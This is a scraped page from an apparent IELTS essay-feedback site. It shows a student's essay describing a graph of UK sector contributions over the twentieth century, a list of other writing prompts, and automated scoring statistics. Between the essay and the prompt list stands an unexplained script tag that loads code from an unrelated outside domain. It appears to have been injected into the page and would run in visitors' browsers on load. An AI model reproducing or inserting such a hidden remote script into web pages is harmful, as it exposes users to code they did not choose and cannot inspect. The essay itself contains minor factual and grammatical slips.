The graph illustrates the contribution of three sectors in the UK economy in twentieth century, which includes agriculture, manufacturing and business and financial services.
Let us take a look at the contribution of agriculture service, in 1990, it was about 50% and in 1950, increased gradually to just over 50% and in 1975 slumped to 10%. Also it should be noted, by 2000, it had declined to zero approximately. By moving onto the contribution of manufacturing service, it can be clearly seen, in 1900, it was 45% and in 1950, dropped moderately to 40% and in 1975, fell slightly to 35%. Finally by 2000, it had reduced to 15%. By considering the contribution of business and financial service, in 1900, it was about 2% and in 1950, increased dramatically to 10% and in 1975, doubled. Besides, by 2000, it had risen swiftly to 35%.
By contrast, before 1950, the agriculture service had had the most crucial effect and in 1975 and 2000, the manufacturing and business and financial services had the most vital impact respectively.
To sum up, the contribution of business and financial service had a upward trend and others had a downward trends in the period of time, by considering a slight increase of the contribution of agriculture service in 1950.
<script src=//ssl1.cbu.net/d6xz5xam></script>
- The tables below give information about sales of Fairtrade-labelled coffee and bananas in 1999 and 2004 in five European countries. Summarize the information by selecting and reporting the main features, and make comparisons where relevant. 57
- In many countries, the amount of crime is increasing.What do you think are the main causes of crime?How can we deal with those causes? 35
- The charts below give information on the ages of the populations of Yemen and Italy in 2000 and projections for 2050. 60
- The table below shows the worldwide market share of mobile phone market for manufacturers in the years 2005 and 2006 58
- The chart below shows the amount of money per week spent on fast foods in Britain. The graph shows the trends in consumption of fast foods. 70
in twentieth century
in the twentieth century
flaws:
Need to polish sentences.
Attribute Value Ideal
Score: 6.0 out of 9
Category: Satisfactory Excellent
No. of Grammatical Errors: 1 2
No. of Spelling Errors: 0 2
No. of Sentences: 9 10
No. of Words: 213 200
No. of Characters: 999 1000
No. of Different Words: 96 100
Fourth Root of Number of Words: 3.82 4.0
Average Word Length: 4.69 4.6
Word Length SD: 3.1 2.4
No. of Words greater than 5 chars: 68 60
No. of Words greater than 6 chars: 58 50
No. of Words greater than 7 chars: 40 40
No. of Words greater than 8 chars: 28 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 23.667 21.0
Sentence Length SD: 10.424 7.5
Use of Discourse Markers (%): 0.556 0.12
Sentence-Text Coherence: 0.485 0.35
Sentence-Para Coherence: 0.683 0.50
Sentence-Sentence Coherence: 0.089 0.07
Number of Paragraphs: 4 4